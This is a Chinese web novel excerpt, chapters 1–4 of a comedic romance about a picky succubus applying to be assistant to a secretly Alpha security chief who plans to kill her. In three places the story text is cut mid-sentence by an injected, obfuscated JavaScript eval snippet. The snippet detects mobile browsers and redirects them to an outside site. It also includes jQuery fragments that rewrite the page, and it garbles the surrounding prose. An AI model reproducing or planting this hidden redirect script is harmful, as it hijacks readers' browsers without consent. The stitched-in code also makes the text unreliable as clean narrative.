《挑食的魅魔和优质的他》 1. 吃一口 【重大通知:魔王之心异动,近期魔界产能不稳定。全界停电、停水三天,请魔民做好应急措施!另附魔界水电费上涨通知,每三小时魔民劳动换取水电十五分钟!】 魔界官方号发的这条通知评论区里一片哀嚎。 大骂魔界领导是吸血的资本家! 跟着这条通知下面,是魅魔任务完成进度表。 忽略掉见习开始三天,已完成吸食几十个男人的逆天数据,莓陵一路往下滑,找到自己的名字—— 莓陵:0/3人。 叹了口气,退出去,注意力回到眼前狭窄走廊的木质地板上,实木的味道让莓陵觉得特别。 莓陵喜欢人间的一切小玩意,无论是眼前的木质地板,还是银月事务所白墙壁上挂着的松针标签。 这一切都让她觉得新奇。 目前,她还是对地板更好奇。 这就是红桃木嘛? 好好闻。 情不自禁弯腰细闻,鼻尖几乎贴近地面。 “我们银月事务所昨天刚接待过一位拖粪人,你脑袋再往下,就可以和大肠杆菌亲密接触。” 偏冷低哑的男音响起,挟着沉香木味从她头顶上掠过。 莓陵赶紧拢了拢快要贴近地板的金色卷发,抬头看向说话的男人——准确来说,是他的眼。 那是一双相当精致的眼,眼皮很薄,眸子狭长,眼神冰冷且鄙夷,冷茶色的眸子透出一股子淡漠感。 莓陵认识他。 温迟。 是莓陵选中的食物之一。 调查温迟的信息容易,但想要靠近温迟却很难。他身份特殊,极少露面,行踪动向是个谜。 不过,还是被她等到个好机会。 前不久,温迟的助理离职了。 莓陵在人间打了半年工积攒的工作经验,稍微润色一番就能成为温迟助理所需能力的敲门砖。接下来,她费尽心思打听银月事务所的位置,守株待兔般等着温迟出任务回归,又耐心等待小半个月…… 终于,和温迟碰上面了! 这是她为数不多的机会。 她必须把握住! 无视温迟话里的讽刺之意,莓陵上前,快速道:“您好,我听说您缺一个助理,我是过来面试的!”温迟人高腿长,步伐迈得宽,她只好尴尬落在他半步远的位置,耐心做自我推销,“我曾在公益联会给总经理做助理,有过这方面的经验,不知道能不能占用您一点点时间谈谈面试的事。” 温迟没说话,莓陵只能看到他冷酷的背影。忽然,温迟停下,莓陵没留神撞上他后背,扑面而来的沉香占据她整个鼻腔,“抱歉。” 好香…… 退后两步,心脏微紧。 还未整理好情绪,听温迟冷冷的声音响起,“怎么进来的?” 莓陵缓过神来,老实回答,“从楼梯进来的。” 温迟笑了声,很轻很缓,也足够嘲讽,“我不管你是真蠢还是假蠢,从银月滚出去。” 没想到拒绝来得如此快,莓陵微怔,“我会做很多事,也有过助理经验,我可以给您做个自我介绍,您要不要再考虑一下?” 温迟没看她,声音更冷,“需要我再重复一遍?” 莓陵知道不能再继续说下去。 捏紧手里的文件袋,抿唇退下。 看着温迟毫不犹豫进了电梯,在电梯门即将关上的那瞬间,莓陵整理好表情,前提是她的脸上有表情的话—— 她常被邻居魅魔调侃长了张,最不具魅魔吸引力的脸。 简单来说,就是面瘫。 莓陵朝他鞠了一躬,认真道:“谢谢您,我明天再来。” 铛的一声,电梯门合上。 能够想象到温迟在电梯里的脸,该是怎样扭曲又不屑。 没办法。 这是她唯一的机会。 半年见习期结束后,魔界会停止向成年魅魔供应食物,再不吸温迟两口,她就会成为世上第一个被活活饿死的魔界先例。 一个魅魔,竟然勾引不到男人。 奇耻大辱! 不过,这也不全是莓陵的问题。 她自然能随便在大街上找个男人吸一吸,完成魔界规定的任务,同时保证自己不会饿死街头。 但…… 偏偏她的身体里根植着挑食的基因,只想吸一种男人—— 身体好、优质的男人。 身体稍微虚点的男人,在莓陵这里,闻起来像隔夜潲水,吃起来像是带壳蛆虫。 根本下不了口! 所幸,她在邻居的帮助下找到了三个能下手的对象—— 温迟、身强体壮的公子哥和身体健康的神秘人。 后面两个人没找到。 想下手也下不了。 只有温迟这里,还能有点盼头。 起码,今天闻到温迟的味道,就足以“洗刷”她这些天被其他男人玷污的嗅觉。 温迟,很好闻。 回到家,已是深夜。 莓陵快速洗漱好,订了个蛋糕,再定了五点的闹钟。 睡了四个小时起床,拿着蛋糕又去了一趟银月事务所。 这次,她等了一天都没见到温迟。 和之前所有落空的等待一样,莓陵不觉得难过,只是看着融化的蔓越莓蛋糕有点可惜。 等到天黑了,银月事务所前台善意提醒她要关门了,她才不情不愿起身。 “今天温队出外勤去了,他出外勤从不回事务所……小姑娘,以后也别来了吧。”前台小姑娘开口,声音斯斯文文的,“温队的助理……不好做,你知道的,温队脾气不好,你这样乖的,做了他助理肯定是要被欺负死的。听姐姐的,你这么优秀,重新去找个工作吧。” 莓陵听着她温声细语说话,努力从她面瘫的脸上扬起一个笑脸,“谢谢。” 大概是她笑得太傻,前台小姐姐扑哧一声大笑,顺手揉了揉她金色的卷发,“快走吧,小太阳。” 莓陵点头,起身正准备离开,抬眼间,见到一个高大的身影从电梯间走到等候厅来。 是温迟! 盯着地板太久,眼睛有些模糊,看不清温迟的脸,但鼻子不会欺骗她。 是温迟的味道! 温迟,回来了! 前台姑娘惊呼,“温队,你怎么——” 温迟什么都没说,径直走向办公室。 不知道是不是莓陵看错了,她觉得温迟瞥了她一眼,轻声道:“有点东西忘记拿了,回来一趟。” 前台想问是什么,温迟已经进了办公室。 莓陵按耐住心底的雀跃,等温迟从办公室里出来。 很快,温迟出来了。什么东西都没拿,或许他把东西放在口袋里。 莓陵没多想,迎上前,“您——” “没时间。”温迟干脆打断她的话,和上次一样冷漠,没有施舍给莓陵一个眼神。 两人也和上次那般,一前一后走着。 莓陵嗅了嗅温迟的味道,带了点血腥味。不是他的,大概是去执行危险任务时沾到别人的血了。 任务应该很难,温迟也应该很累了。 确实不能再打扰他。 她想了想,还是把蛋糕放在他面前,“蛋糕有点化了,希望您不要嫌弃。” 举着蛋糕的手悬在空中,温迟始终没有接过蛋糕。 莓陵抬眼看他,认真解释,“这是您喜欢的蔓越莓口味,还是您最喜欢的那家店,您尝尝。” 温迟不置一词,还是拒绝。 莓陵在心里叹了口气,把蛋糕放在前台桌面,转头对温迟道,“您早点休息,注意身体,我明天再来。” 她转身拉开楼梯间的防火门,准备从楼梯上去。 “回来。” 即将关上门的那刹那,她听见温迟叫她。 莓陵转头,温迟扬扬下巴指着电梯指示灯,“给你三层楼的时间做自我介绍,电梯到了,你还没能说服我,以后都别过来了,浪费时间。” 莓陵瞥了眼电梯指示灯,愣神之际,距离银月事务所所在的负三层只有两层楼的时间。 她咽了咽,把自己的简历送到温迟面前,迅速开口:“我叫莓陵,曾经就职于——” “停!”温迟打断她,微挑眉梢,茶色的眸子格外亮,“你确定你想用这些来说服我?” 叮—— 电梯到了。 温迟轻哼,毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莓陵一时间不知道该说什么,见温迟扶额,表情有些无奈,“算……” “您是银月的代理人,算是这里的老板。做您的助理最重要的一条就是,不要让您加班。”莓陵整理整理思绪,很快回答后四个问题,“甜食、黑色、摩羯、26。” 温迟微怔,良久没说话,一瞬不瞬盯着莓陵。 那眼神绝不是因莓陵的回答惊艳或惊讶,而是在审视一件死物。 办公室里一片死寂,莓陵被看得心里发毛,试图开口说点什么缓解尴尬。 恰巧这时,电话响了。 “贺书贤。”温迟接起电话,唤了那边人的名字,听筒那边的人说了些什么,温迟笑了笑,又一次把视线转移到莓陵脸上,意味深长道:“嗯,确实有只老鼠进来了……还是一只,金灿灿的小老鼠。” 金灿灿的小老鼠? 莓陵紧张的情愫立刻被金灿灿的老鼠带跑了,脑补着金灿灿老鼠的模样,很美好幻想: 金灿灿的老鼠…… 肯定不好看! 走神片刻,温迟已挂断电话。 他把手机放在桌上,发出很轻的咔哒声。 莓陵的心瞬间提起来,听温迟用懒懒的语调问:“我也不和你废话,面试游戏结束,你有什么想问的?小、老、鼠!” 如果莓陵注意到的话,就会发现温迟原本普通的办公室,已从外面落锁。四周被金属材质包裹着,除非有人能举着M78的冲锋枪打爆温迟的头再拿到钥匙开门,否则,没人能出去! 如果莓陵清楚温迟刚刚那通电话的内容,就会知道温迟嘴里的老鼠,指的是卧底的意思。 翻译过来,温迟这句话的意思,就是在说莓陵是卧底。 他们之间早已从方才的还未开始的面试,变成了一场有去无回的审讯。 然而,莓陵不仅不知道其中暗含的意思,也没听出温迟的语气,还被温迟优雅散漫的语调,微微上扬的眼角勾走了三魂七魄。 满脑子都是: 他好香! 他好香! 他好香! 他好香! 他好香! 他好香! 他好香! 他好香! 真的不可以吃一口吗? 就一口!!!! 脑子里乱成一团,再无法思考其他问题,也没听见温迟说的那句面试游戏结束。 出于打工人的本能,她下意识问了句—— “薪资是多少?” 2. 吃两口 温迟呆住了,胡乱说了个数,“三千……” “包吃住吗?” “不包。” “五险一金呢?” “交六险两金。” “上班时间是?” “早九晚六。” “中午休息一个小时吗?” “……对。” “做您助理的话,有出外勤的任务要求吗?” “出外勤的话——”温迟说到一半,生生止住嘴,“呵,还真面试上了!” 他倏然起身,两指捏着鼻梁,颇为无奈道:“别废话,告诉我你真实身份!” 莓陵心里咯噔一声。 她这么快就被发现了? 难道是她刚才吞咽的声音太大? 还是她的犄角没有藏好? 无意识摸了摸头顶,只有毛茸茸的卷发,没有犄角。 莓陵松了口气,看向温迟,决心坦诚相见,“既然你都知道了,我也就不隐瞒了……” 温迟闻言嗤笑,露出我就知道的表情,“你倒是诚实,算是你们这批人里面嘴最松的。” 莓陵点头,“嗯,谢谢夸奖!不过,我能知道您是怎么猜到我的身份吗?” 温迟又扬起他一贯的冷笑,“从你说想和我睡的时候。你是……这个月,第8个这么和我说的人。” 原来是这样! 莓陵沉思片刻,真诚道,“您好受欢迎啊!” 温迟:“……说你的身份!” 莓陵正身,乖乖回答:“魅魔。我是魅魔!” 看在我这么诚实的份上,可以吸一口吗? 就一口! 温迟挑眉,“这是你的代号?” 莓陵摇头,“不,这是我的身份,我就是魅魔。” 温迟:“呵,你是魅魔,那我就是天使。别和我耍花招,把你的身份和线人都说出来。看在你诚实的份上,能让你少吃点苦头!” “我没有和您耍花招。”莓陵认真看着温迟,不着边际想,温迟真的是天使吗?我还没见过上天界的人,据说天使早就在魔王大战中战陨,如今唯一留下的天使族,就是魔王本人。 温迟应该不是。 她想了想,真诚回答,“要是天使还活着的话,肯定和您一样漂亮。” 倒不是莓陵牵强附会,而是温迟肤色白净,随意靠在椅子上的身型和动作,都像是神殿里雕刻的纯白天使雕像,冰冷疏离的眸子更是添了几分神性,无端对上一眼,便忍不住想跪下来虔诚祷告。 莓陵想,天使也不过如此吧。 或者说,温迟也许正是天使的具象化。 温迟挑眉,似是讶异,片刻后,他又恢复镇静,“……手段很高明,还会编故事,干你们这行还需要……巧言令色?” 莓陵愣了几秒,眨眨眼,倾身上前,“温队,我没在编故事,也没有巧言令色,魅魔,从不说谎。您真的像天使一样。” 温迟啧了一声,“好好说话,离我远点!” 他的声音忽然严厉,仔细听能感觉出他气息有些不稳。 可莓陵没在意细节,老老实实站起来,几步退到门口的位置。 隔着大半个办公室的空间,莓陵紧张看向温迟,“温队,您还好吗?” 见温迟的脸越来越红,额头开始冒汗,额前的碎发很快被汗水打湿,黏在皮肤上,看起来有些脆弱。 温迟没理会莓陵,他始终抬着一只手捂住他后颈,抹了把脸,按住办公室里的对话键,“黄欣!给我端杯冰水进来!” 黄欣是前台的名字,很快,她端着冰水进来了。 进来时的脸色也不如方才温柔,审视着莓陵,神色不友善。 莓陵不知所措,乖乖站在原地没动。 空气中飘散的味道勾着莓陵的味蕾。 温迟越来越香了…… 快要变成香喷喷的大鸡腿了! 真不能吃一口嘛! 吃一口吧。 就一口! 她情不自禁上前,黄欣抽出配枪指着她,“臭老鼠!离温队远点!” 莓陵立刻止住脚步,一退三步远,举起双手表示自己纯良无害。 片刻后。 “把枪放下。”温迟开口,声音很低。 黄欣应下,收起枪,表情依旧严肃。 温迟又抿了口冰水,对莓陵道:“过来,靠近点。” 冰水润过的唇多了几分血色,点点水光印在唇上,愈发诱人。 莓陵不敢,扫了眼仍旧戒备的黄欣,没听温迟的命令。 温迟瞥了眼黄欣,“出去,你下班了。” 黄欣:“可是,温队,她——” “你在担心我?还是觉得我会被这个小丫头片子拿下?”温迟语气变得不耐烦,“出去。” 黄欣抿了抿唇,瞪了莓陵一眼,愤愤离开。 “过来。”温迟朝她招手。 莓陵站在原地没动。 温迟:“她是老板还是我是老板,之前怎么没见你这么听话!过来!” 莓陵眼睛发亮,“您的意思是我面试通过了?” 温迟笑了,“阅读理解能力有待提高,过来。” 温迟笑起来,更像天使了。 沉浸片刻后,莓陵没再犹豫,几步上前,站在原来的位置上。 还未站定,被温迟拉了一把,摔进他怀里。 距离无限拉近! 香味更加浓郁! 她沉溺于这股清香之中,快要迷失自我。 忍不住靠近温迟的脖颈,饥饿感诱导她伸出舌头舔了舔温迟的皮肤,舔完后,她觉得冒犯,正要道歉,发觉温迟的手摸上了她的后颈。 炽热的,粗糙的,宽厚的手掌。 险些要把她烤融化了。 嗓子变得黏黏的,她奇怪问,“温队,面试还需要检查脖子吗?” 温迟始终没说话,修长骨感的手指不停在她后颈摩挲。 “温……” “脱了。”再开口时,温迟的声音明显沙哑了几分。 脱了…… 莓陵努力处理这两个字的含义,完全忽略了温迟勾着她装饰围巾的力道。 她不死心问,“面试还要检查这些吗?” “脱了!”温迟再一次强调,语气变得焦躁。 莓陵想了会儿,没矫情,拉开衣服拉链,顺溜脱了个精光。 没有任何阻挡,没有丝毫掩饰,更没有人类女性本应该有的羞耻感。 她赤裸站在原地,眼神纯洁坦荡。 这可把温迟吓坏了! 他倏然瞪大眼,眼神触及之处一片雪白,后退一大步转过身骂了句,“艹!你脱衣服干嘛?” 莓陵:“你让我脱的。” 她还以为面试要体检呢。 “谁TMD会在面试的时候让你脱衣服,你以为是在体检啊!” 莓陵摸摸头,“啊,我还真以为您要体检呢!” 温迟仰头,无奈扶额,“我让你脱掉的是围巾……算了,穿上你那破衣服滚出去!我对你身体不、感、兴、趣!” 撒谎。 温迟明明很喜欢,弥漫在空气的味道变得黏稠、厚重、浓郁。 他在兴奋! 莓陵盯着温迟红红的耳尖,心想:算了,人类应该都是这样,对于身体和性羞于表达。 慢吞吞穿好衣服,恋恋不舍吸了吸空气中的味道,莓陵才转身离开。 …… 空气中甜甜的味道越来越淡,被温迟的信息素抢夺着,慢慢什么都没剩下。 温迟认命般瘫在软皮椅上,盯着桌上莓陵留下的简历。 名字旁边,是张P过的证件照,精修过的照片无法还原莓陵半分容貌。就连她那张面瘫的脸,都在这张照片的修饰下泯然于众。 温迟是个穿越过来的Alpha。 这个世界没有ABO,也没有腺体,更加不会有让他觉得厌烦的信息素。 脱离信息素控制,让他有种超然于世界之外的掌控感。 Alpha强盛的精力、智力和体力让他很快获得了不菲的身价和财富。不用遭受信息素的牵制,无需强制匹配,再完美不过的生活。 可是…… 一个月前,出现了一个变数—— 莓陵。 起初,他怀疑莓陵是敌军派过来的卧底,提取了他的信息素制作了Alpha诱导剂,试图诱导他发情,以达到不可告人的秘密。 后来,他才意识到,没有人知道他是Alpha,甚至这个世界上就没有人会做诱导剂。就算有人会做,他们也只会研究这东西好不好吃,不会想到真有Alpha这种生物。 在这个世界的人类看来,只有猫狗这类低等动物才会有发情期。 就算温迟有一天告诉其他人,他是个Alpha,也不会有人相信。 如此…… 他就必须要承认,莓陵身上的味道,不是什么诱导剂,而是货真价实的信息素。 高阶的、和他信息素极其匹配的、极具诱惑的Omega信息素。 不是Omega信息素,莓陵的后颈没有腺体,是比Omega更危险的生物。 烦躁把玩着M78手枪,脑海里不自觉回忆着莓陵一头金色卷发的模样—— 她很漂亮,比他见过的任何Omega都要精致,金色卷发托着张白嫩圆润的小脸,和金发同色大且圆的双眼看起来呆滞又无辜,眨眼间充斥着说不清的诱惑。 他还看到了莓陵的身体,白的,很白的…… Alpha的记忆很好,温迟是Alpha中的佼佼者。 一闪而过的景色,在温迟脑海里落下浓墨重彩的一笔。信息素不停干扰着他,让他不自觉开始回忆惊鸿一瞥的细节…… “艹!” 他要莓陵永远消失! 享受过脱离信息素掌控的快感,温迟绝不会再次让自己深陷困境。 不能沦为信息素支配的低级动物。 谁都别想操控他! 杀掉她,或者让她自杀。 囚禁她,或者让她自愿臣服。 拉扯间,脑海里竟冒出两个温迟—— 一个执剑砍下莓陵的头颅,鲜血染红她的金发,脆弱的洋娃娃一动不动躺在地上,困住温迟的缰绳一同被他斩断。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502954|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>另一个则极度放纵,任凭信息素操控着他,拥抱莓陵抵死缠绵。充斥着极端渴望和无尽欲念,掌控莓陵纤细的腰肢,囚她于方寸之间,妄想把她融入血肉当中。 前者有多冷漠,后者就有多疯狂。 极端的反差带来极致的快感。 “唔……” 温迟快要被折磨疯了! 胸口越来越胀,低头一看,黑色羊毛衫上已湿了一大块,接触到空气时,有些凉。 温迟的眸子晦暗,瞬间回神。 当即,在心里选好了方案。 第一种! 他要莓陵死! 又低声骂了一句,捂住发胀的胸口,手指不停发颤,朝着办公桌下方落锁的抽屉几下打开锁,正准备拿出里面的吸奶器…… 咚咚—— 敲门声响起。 是莓陵! 温迟迅速把吸奶器扔回抽屉里,关上抽屉,“门没关,你是没看见还是眼睛瞎。敲那么大声是想把楼上做房地产的人叫下来开会吗。” 莓陵透过小小的门缝往里看,露出一双圆亮的眼,“我担心您会忘了蛋糕。” 小心翼翼钻进来,一步步靠近。 温迟握住枪的手紧了又紧,甜腻的信息素越来越重,以不可阻挡之势压垮他的理智,他举起枪,上膛,“就在那里停下!” 莓陵立刻停下,举起双手,蛋糕被她捧在手心,高高举在空中。她这副模样,看起来有些傻。 她慢慢蹲下身,把蛋糕放在地上,看了温迟一眼,轻声道:“我看您心情不好,您喜欢吃甜食,人类吃点甜食心情会变好。” 温迟没动,嘲讽般勾起嘴角,“想用一块蛋糕让我继续陪你玩面试游戏?” “不是。”莓陵摇头,如果非要说买这块蛋糕的目的,那只有—— “我只是想让您知道,我说想和您睡不是在开玩笑。温迟,我喜欢你。” 良久,两人都没说话。 空气中的香味更浓了…… 莓陵低头咽了咽,欲盖弥彰垂眸,看着地板慢吞吞道:“温队,要是没事的话,我就先——” 啪嗒—— 莓陵眼前忽然划过一个黑色物体,她下意识伸手去接,落在嫩白手心里是一把车钥匙。 “明天早上十点,明月公寓A区地下停车场103号车位,过来接我。” 温迟转过身去,用椅子后背对着莓陵,冷冷抛下一把钥匙和一句话。 这是……通过面试的意思! 莓陵双眸亮亮的,“好!我一定准时去接您!” 魅魔小姐仔仔细细看过车钥匙,宝贝似地把车钥匙塞进随身小背包带夹层的袋子里,打开门对温迟告别,“温队,明天见!” 温迟始终没说话。 待到莓陵走后,他难耐从唇缝间溢出一声低吟。 在外风光月霁的温队长,迅速掏出吸奶器,脱光上衣,把吸奶器的软嘴对准,按下开关键。 随着奶瓶里的乳白液体越来越多,胸口肿胀的感觉才慢慢消失,他舒服极了,忍不住长舒一口气。 温迟趴在桌上,半张脸埋进手臂里。 脸颊红扑扑的,汗渍顺着脸颊而下,像是秾丽的玫瑰花,又像是刚出浴的芙蓉,说不清的媚态堆积在泛红的眼尾处,平白添上几分诱惑。 那位在脑海里斩杀莓陵的“恶魔温迟”挥着长剑,鄙夷看向此刻动情的温迟,幽幽道:“不是说要杀了她……瞧瞧你现在这副被信息素折磨到爽翻的模样,你还下得去手吗!审查长!这次你算是彻底栽了!” 另一位和莓陵翻云覆雨的“天使温迟”像是刚从美人乡里出来,带着几分不舍半拢白衣,盖住身上的草莓印,吊儿郎当倚在办公桌前,不满意“恶魔温迟”的观点,“你懂什么,吃不到葡萄说葡萄酸,没开过荤的人脑子里只有打打杀杀,这怎么能叫栽了,这叫……爱了。” “恶魔温迟”瞪他一眼:“脑子里只有黄色废料的低级生物!” “天使温迟”不屑:“四肢发达的草履虫!” “够了!”眼看着两人要打起来,温迟及时叫停,一挥手打散两人,把吸奶器换了一边,“别在这里啰唆,吵死了!” 他捏住吸奶器,手指因为用力泛着白。 死死盯着地上的蛋糕。 喜欢他…… 呵! 之前来的八个人都这么说。 最后他们都死了…… 莓陵唯一不同的地方在于—— 信息素。 他该死的为这味道着迷,他有多喜欢这股香味,就有多想杀了她! 杀掉这个打破他平静生活,会释放信息素的生物! 试想,他有多久没用这该死的吸奶器了! 十三年。 整整十三年! 自从穿越过来,他就再也没用过! 而莓陵轻而易举,不费一兵一卒,只消站在他面前轻飘飘说上两句话,就能撕开他最不想面对的生理缺陷。 必须杀了她! 杀了莓陵,他就不用被这该死的奶水、该死的信息素、该死的羞耻感折磨! 杀了她,他将重归自由…… 3. 吃三口 莓陵熬了一夜,确认了她的职责和任务所在—— 安排温迟的日常工作。 紧张又兴奋跑到明月公寓A区地下停车场,却没等到温迟。 一个小时后,莓陵和代驾都睡着了…… 温迟还没来。 两个小时后…… 温迟还没出现。 三个小时后,莓陵问了黄欣温迟家住哪里,她慢悠悠找到温迟家门,按了门铃,又在门外等了十五分钟。 温迟还是没出现。 终于,在她准备按第二次门铃时,门开了。 温迟顶着稍显凌乱的头发,一身真丝黑色居家服,不咸不淡看了她一眼,什么话都没说,转身回了卧室。 正要打招呼的莓陵,眼睁睁看着温迟走进卧室,脱鞋、倒在床上、盖上被子,一气呵成! 他又睡了过去。 莓陵:…… 约莫又过了一个小时,温迟醒了。 莓陵双目泛光,终于有她用武之地了。 “停!你先站着别动!”温迟遮住脸,面露疑色。 那表情在问—— 你怎么在我家? 莓陵看出他脸上的疑惑,但她没时间解释,“温队,您赶紧洗漱准备好,下午还要去第五大厦,确认墨玉印雪绣是否安全,我们已经迟到了半个小时了。” 温迟脸色不太好,莓陵没注意,打开手机把今天温迟的安排说清楚:“早上十一点您有个会议,但您没醒,我已经代替您参会了,会议重点已发至您邮箱。” 温迟打开浴室门,瞥她一眼,“邮箱……你是从上世纪穿越过来的?” 莓陵:“……我只有您的邮箱。” 温迟拿出手机,轻点两下,展示出他的个人通讯二维码,扔在沙发上,一句话没说,进了浴室。 莓陵立刻拿出手机加上,将会议记录发给温迟,才继续道:“中午十二点您本来和贾委托人约了午饭,但您已经错过了。” 温迟眯眼,“帮我——” “已经帮您约好了,明天上午十点。”莓陵抢在温迟开口前说道。 温迟抬眼看她,莓陵有些紧张,担心自己是不是出错了,她轻声道:“您只有明天上午有空。” 温迟挑眉,“地方订……” 莓陵:“地方帮您订在三乙茶室,您常去的那间。我和贾委托人说这次您买单,算是还您失约的人情。” 温迟洗脸的手一顿,抬眸审视莓陵。 一切在向着奇怪的方向前进。 譬如,他没打算让莓陵插手他的工作,让她过来开车是准备给她点甜头,再把她带到郊外抹脖子。 可…… 他好奇,“你很了解我……是,出于工作目的?” 再平淡不过的一句话,莓陵却从中听出几分威胁的味道。 要是回答不好,应该会立刻被开除。 莓陵咽了咽,诚实回答,“也不全是出于工作目的,还有……私人目的。” “比如。” “比如……”莓陵顿了顿,“比如,喜欢您。” 想和你睡觉。 想吸一口。 两口也行! 温迟微怔,嗤笑一声,转头弯腰洗脸,混着潺潺水声,“买单的钱从你工资里扣。” 至于抹脖子的事,不着急。 她逃不出他的视线。 莓陵:…… 含泪看着下个月工资离她而去,闷闷应下。 没回答错就行。 温迟心情很好地下楼,走到停车场,拉开车门坐上副驾。 然后…… 他对上了一张陌生男人的脸。 男人满脸黝黑,笑起来眼角都是皱纹,温迟甚至能看到皱纹褶皱处沾着黑泥。 他脸色一黑,转头看向坐在后座的莓陵,“你最好和我解释一下,这是什么情况。” 莓陵老实回答,“温队,我没驾照。这是我今天找的代驾,张师傅。”她和张师傅早已建立起四小时等睡友谊,转头还热情和张师傅介绍,“张师傅,这是我老板,温迟。” 张师傅口音很重,张口是,“温次好,温次,你这小伙长得真标志啊!车也好啊,这车几百万吧。你算睡舒服了,可把这小妮子和我等坏了,我们俩在外面等你三四个小时喽!好苦咧~” 温迟死死盯着张师傅黝黑的指甲缝,粗粝的双手正不停摩挲着他新定制的磨砂皮方向盘,他的脸越来越黑,“下去。” 张师傅不敢置信,“你叫我下去?” 温迟:“……” 莓陵心道不好。 温迟生气了。 她赶紧跑下去,打开主驾驶的门,伸手把想要和温迟争论一番的张师傅薅下来,抢在温迟要发怒之前啪的一声关上门。 莓陵:“张师傅,抱歉,您今天早点下班吧,不好意思。” 张师傅先把温迟大骂了一顿,转头对莓陵道:“违约给三倍工资,小妮子看在您面善心善,我就不计较什么三倍工资,你把钱发过来,我通过私人账户给你转回去。” 莓陵点头感谢张师傅。 拿出手机准备转账,一道声音幽幽响起,“被人卖了还给人数钱。” 温迟不知道什么时候从车上下来,双手环胸看向张师傅,“代驾平台从来没有说顾客取消订单要付三倍价格,你在哪个平台工作?我觉得我有权举报这么黑心的平台,说不定还能荣获三倍奖励。” 张师傅脸色一变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502955|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,钱也不要了,骂了句脏话头也不回就走。 温迟嫌弃看了眼莓陵,扔下一句,“小傻子。”转身上了另一辆车。 莓陵抿唇,默默退出平台举报页面,跟着温迟上车。 第一次,温迟给其他人做司机,心里五味杂陈。 莓陵坐在副驾驶位置上,于心不安,时不时瞄一眼温迟。 等下一个红灯时,温迟冷声道:“眼睛不想要了?” 莓陵干脆转头,正大光明看向温迟,“对不起。” 温迟:“呵,错哪了?” 莓陵:“不应该叫代驾过来开车。”她顿了顿,解释道,“可是,按照人类世界的规矩,没有驾照就是不能开车,无证驾驶违反交通规则。” 温迟:“呵呵,你太聪明了。” 莓陵:…… “抱歉。”她又道,“温队,是我做的不好,您不要开除我。” “你倒是提醒我了,我还可以开除你。”温迟单手握住方向盘,瞥了莓陵一眼,“你明天不用过来了!” 莓陵不敢置信,看了温迟几秒后,金眸黯然无光,认命耷拉肩膀,“……那好吧。” 温迟:“什么叫做那好吧?” 莓陵眨眨眼,“我……确实犯错了,您要开除我也是应该的……” “然后呢?你就等着被我开除?!”温迟反问,“开除后呢?什么也不做,为失业游民群体又添加一名新成员?” 莓陵被骂得哑口无言,好半响道,“……我,确实不知道要怎么办才好。” 温迟啧了一声,“呆子!” 骂得对,她确实有点呆。 “对不起。” 莓陵道歉完转过身,沉默一会后,好像在温迟这段话里得到一些启示,“温队,那你比较喜欢什么样的助理,我可以改。” “聪明的、灵活的。”温迟说完,转头看她,“能改吗?” 莓陵:…… 他是在骂她吗? 温迟停车,脸色好了点,“我不喜欢别人碰我的东西……”他顿了顿,“车,也一样。” 莓陵歪头看了温迟几秒,缓缓嗯了一声,“下次,不会了。” 也不知道有没有下次。 叹了口气,她从包里拿出一束花,“温迟,我没忘记我还在追求你。第一次见你,就觉得这束花很像你,希望你开除我后,还可以让我追求你,好吗?” 温迟心间微动,心道:还不算太呆。 转头看向莓陵手里的花—— 菊花??? 还是…… 白菊花。 温迟望向单纯的莓陵,以及她手里那束该死的白菊花,双指捏住眉心,深深叹了口气:……蠢到没救了。 4. 吃四口 “您喜欢这束花对嘛?” 莓陵的眼睛没离开温迟的脸,她确信自己看到了温迟于惊讶中,一闪而过的笑容。 很淡很浅,却不容忽视。 “你喜欢别人送你白菊花?”温迟没接花,反问莓陵。 莓陵仔细幻想温迟送她花的场景,很认真回复,“要是您送的话,无论是什么我都会很喜欢。” 温迟:…… 她看见温迟的耳尖红了。 “你在高兴……”莓陵道,“每当您心情愉悦时,下颚线都会变柔和……” 味道也会更好闻。 她顿了顿,“我希望您能收下那束花,它和您一样漂亮,是最纯洁的天使。” 再油腻的话,经由莓陵这样纯粹认真的嘴说出来,显得格外撩人。 可再撩人的话到了温迟这里,像石子落入海中,扑通一声,没掀起任何水花。 温迟冷着脸,无情回答,“到了,下车!” 莓陵:…… 慢吞吞解开安全带,捧着花下车。 “你准备捧着这束花做任务?”温迟道,“发生危险时我先救你还是先救花?” 莓陵挠挠头,“我……” “放车里!” 不容置疑的命令。 莓陵乖乖把花放在车上,心道:温迟真温柔啊,都舍不得花受伤。 偷瞄温迟几眼,发现他在欣赏白菊花。 黑色车窗成了相框,温迟和白菊花同时入镜,美丽得像幅油画。 莓陵笑了。 清雅的温迟,别扭的温迟,口是心非的温迟,都和这束白菊格外相似。 “你先进去看看情况,我要去银月一趟。” 温迟说完,不等莓陵回复,一脚油门消失在她眼前。 莓陵不解,为什么温迟还要回事务所。 …… 温迟回事务所,只为一件事—— 拿那块还躺在地上的蔓越莓蛋糕。 糜烂的蔓越莓果肉放在最顶端,顺着融化的奶油滴落在淡紫色的蛋糕胚上,最上面还点缀着翠绿的薄荷叶,整个蛋糕看起来秀色可餐,无端让人联想到…… 莓陵。 蛋糕旁边是炸开的白菊,占据了后座大半位置。 